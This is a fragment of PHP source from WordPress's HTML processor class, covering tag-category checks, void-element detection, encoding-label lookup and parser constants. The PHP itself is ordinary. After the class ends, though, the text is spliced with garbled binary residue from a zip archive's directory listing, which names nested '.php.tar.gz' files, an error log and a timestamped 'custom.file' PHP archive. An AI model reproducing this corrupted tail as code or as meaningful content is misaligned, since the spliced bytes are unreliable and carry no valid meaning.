			'CAPTION' === $tag_name ||
			'CENTER' === $tag_name ||
			'COL' === $tag_name ||
			'COLGROUP' === $tag_name ||
			'DD' === $tag_name ||
			'DETAILS' === $tag_name ||
			'DIR' === $tag_name ||
			'DIV' === $tag_name ||
			'DL' === $tag_name ||
			'DT' === $tag_name ||
			'EMBED' === $tag_name ||
			'FIELDSET' === $tag_name ||
			'FIGCAPTION' === $tag_name ||
			'FIGURE' === $tag_name ||
			'FOOTER' === $tag_name ||
			'FORM' === $tag_name ||
			'FRAME' === $tag_name ||
			'FRAMESET' === $tag_name ||
			'H1' === $tag_name ||
			'H2' === $tag_name ||
			'H3' === $tag_name ||
			'H4' === $tag_name ||
			'H5' === $tag_name ||
			'H6' === $tag_name ||
			'HEAD' === $tag_name ||
			'HEADER' === $tag_name ||
			'HGROUP' === $tag_name ||
			'HR' === $tag_name ||
			'HTML' === $tag_name ||
			'IFRAME' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name ||
			'LI' === $tag_name ||
			'LINK' === $tag_name ||
			'LISTING' === $tag_name ||
			'MAIN' === $tag_name ||
			'MARQUEE' === $tag_name ||
			'MENU' === $tag_name ||
			'META' === $tag_name ||
			'NAV' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'NOSCRIPT' === $tag_name ||
			'OBJECT' === $tag_name ||
			'OL' === $tag_name ||
			'P' === $tag_name ||
			'PARAM' === $tag_name ||
			'PLAINTEXT' === $tag_name ||
			'PRE' === $tag_name ||
			'SCRIPT' === $tag_name ||
			'SEARCH' === $tag_name ||
			'SECTION' === $tag_name ||
			'SELECT' === $tag_name ||
			'SOURCE' === $tag_name ||
			'STYLE' === $tag_name ||
			'SUMMARY' === $tag_name ||
			'TABLE' === $tag_name ||
			'TBODY' === $tag_name ||
			'TD' === $tag_name ||
			'TEMPLATE' === $tag_name ||
			'TEXTAREA' === $tag_name ||
			'TFOOT' === $tag_name ||
			'TH' === $tag_name ||
			'THEAD' === $tag_name ||
			'TITLE' === $tag_name ||
			'TR' === $tag_name ||
			'TRACK' === $tag_name ||
			'UL' === $tag_name ||
			'WBR' === $tag_name ||
			'XMP' === $tag_name ||

			// MathML.
			'math MI' === $tag_name ||
			'math MO' === $tag_name ||
			'math MN' === $tag_name ||
			'math MS' === $tag_name ||
			'math MTEXT' === $tag_name ||
			'math ANNOTATION-XML' === $tag_name ||

			// SVG.
			'svg DESC' === $tag_name ||
			'svg FOREIGNOBJECT' === $tag_name ||
			'svg TITLE' === $tag_name
		);
	}

	/**
	 * Returns whether a given element is an HTML Void Element
	 *
	 * > area, base, br, col, embed, hr, img, input, link, meta, source, track, wbr
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#void-elements
	 *
	 * @param string $tag_name Name of HTML tag to check.
	 * @return bool Whether the given tag is an HTML Void Element.
	 */
	public static function is_void( $tag_name ): bool {
		$tag_name = strtoupper( $tag_name );

		return (
			'AREA' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name || // Obsolete but still treated as void.
			'BGSOUND' === $tag_name || // Obsolete but still treated as void.
			'BR' === $tag_name ||
			'COL' === $tag_name ||
			'EMBED' === $tag_name ||
			'FRAME' === $tag_name ||
			'HR' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name || // Obsolete but still treated as void.
			'LINK' === $tag_name ||
			'META' === $tag_name ||
			'PARAM' === $tag_name || // Obsolete but still treated as void.
			'SOURCE' === $tag_name ||
			'TRACK' === $tag_name ||
			'WBR' === $tag_name
		);
	}

	/**
	 * Gets an encoding from a given string.
	 *
	 * This is an algorithm defined in the WHAT-WG specification.
	 *
	 * Example:
	 *
	 *     'UTF-8' === self::get_encoding( 'utf8' );
	 *     'UTF-8' === self::get_encoding( "  \tUTF-8 " );
	 *     null    === self::get_encoding( 'UTF-7' );
	 *     null    === self::get_encoding( 'utf8; charset=' );
	 *
	 * @see https://encoding.spec.whatwg.org/#concept-encoding-get
	 *
	 * @todo As this parser only supports UTF-8, only the UTF-8
	 *       encodings are detected. Add more as desired, but the
	 *       parser will bail on non-UTF-8 encodings.
	 *
	 * @since 6.7.0
	 *
	 * @param string $label A string which may specify a known encoding.
	 * @return string|null Known encoding if matched, otherwise null.
	 */
	protected static function get_encoding( string $label ): ?string {
		/*
		 * > Remove any leading and trailing ASCII whitespace from label.
		 */
		$label = trim( $label, " \t\f\r\n" );

		/*
		 * > If label is an ASCII case-insensitive match for any of the labels listed in the
		 * > table below, then return the corresponding encoding; otherwise return failure.
		 */
		switch ( strtolower( $label ) ) {
			case 'unicode-1-1-utf-8':
			case 'unicode11utf8':
			case 'unicode20utf8':
			case 'utf-8':
			case 'utf8':
			case 'x-unicode20utf8':
				return 'UTF-8';

			default:
				return null;
		}
	}

	/*
	 * Constants that would pollute the top of the class if they were found there.
	 */

	/**
	 * Indicates that the next HTML token should be parsed and processed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const PROCESS_NEXT_NODE = 'process-next-node';

	/**
	 * Indicates that the current HTML token should be reprocessed in the newly-selected insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const REPROCESS_CURRENT_NODE = 'reprocess-current-node';

	/**
	 * Indicates that the current HTML token should be processed without advancing the parser.
	 *
	 * @since 6.5.0
	 *
	 * @var string
	 */
	const PROCESS_CURRENT_NODE = 'process-current-node';

	/**
	 * Indicates that the parser encountered unsupported markup and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_UNSUPPORTED = 'unsupported';

	/**
	 * Indicates that the parser encountered more HTML tokens than it
	 * was able to process and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_EXCEEDED_MAX_BOOKMARKS = 'exceeded-max-bookmarks';

	/**
	 * Unlock code that must be passed into the constructor to create this class.
	 *
	 * This class extends the WP_HTML_Tag_Processor, which has a public class
	 * constructor. Therefore, it's not possible to have a private constructor here.
	 *
	 * This unlock code is used to ensure that anyone calling the constructor is
	 * doing so with a full understanding that it's intended to be a private API.
	 *
	 * @access private
	 */
	const CONSTRUCTOR_UNLOCK_CODE = 'Use WP_HTML_Processor::create_fragment() instead of calling the class constructor directly.';
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\6��-���Gerror_log.tar.gznu�[���PKgN\T7��[["�Tclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#bZclass-wp-html-tag-processor.php.tarnu�[���PKgN\��%JJ
��index.php.tarnu�[���PKgN\�Wy%�class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-G
class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d:index.php.php.tar.gznu�[���PKgN\��|Kb�b�*'uclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��
class-wp-html-token.php.tarnu�[���PKgN\�l{<����	."error_lognu�[���PKgN\�A�&�class-wp-html-text-replacement.php.tarnu�[���PKE�N\�V2HHJclass-wp-html-decoder.php.tarnu�[���PKE�N\Գ�$$0�Zclass-wp-html-active-formatting-elements.php.tarnu�[���PKE�N\�J���7�~class-wp-html-active-formatting-elements.php.php.tar.gznu�[���PKE�N\��)�+,�class-wp-html-unsupported-exception.php.tarnu�[���PKE�N\�)�|cc$��class-wp-html-decoder.php.php.tar.gznu�[���PKE�N\�jZ�
�
>�10.tarnu�[���PKE�N\�`��

 t9custom.file.4.1766663904.php.tarnu�[���PKE�N\y��jj"�Cclass-wp-html-doctype-info.php.tarnu�[���PKE�N\��gnn/�html5-named-character-references.php.php.tar.gznu�[���PKE�N\�K]Ƴ�*�class-wp-html-open-elements.php.php.tar.gznu�[���PKE�N\TFė@@(�/html5-named-character-references.php.tarnu�[���PKE�N\s*���2�oclass-wp-html-unsupported-exception.php.php.tar.gznu�[���PKE�N\�N���)Huclass-wp-html-doctype-info.php.php.tar.gznu�[���PKE�N\حHG�G�&��class-wp-html-processor.php.php.tar.gznu�[���PKE�N\��U�^^#<'class-wp-html-open-elements.php.tarnu�[���PKE�N\�Ov���	��10.tar.gznu�[���PKE�N\�N[����M�10.zipnu�[���PKE�N\���HH.Q%class-wp-html-processor.php.tarnu�[���PK�}�(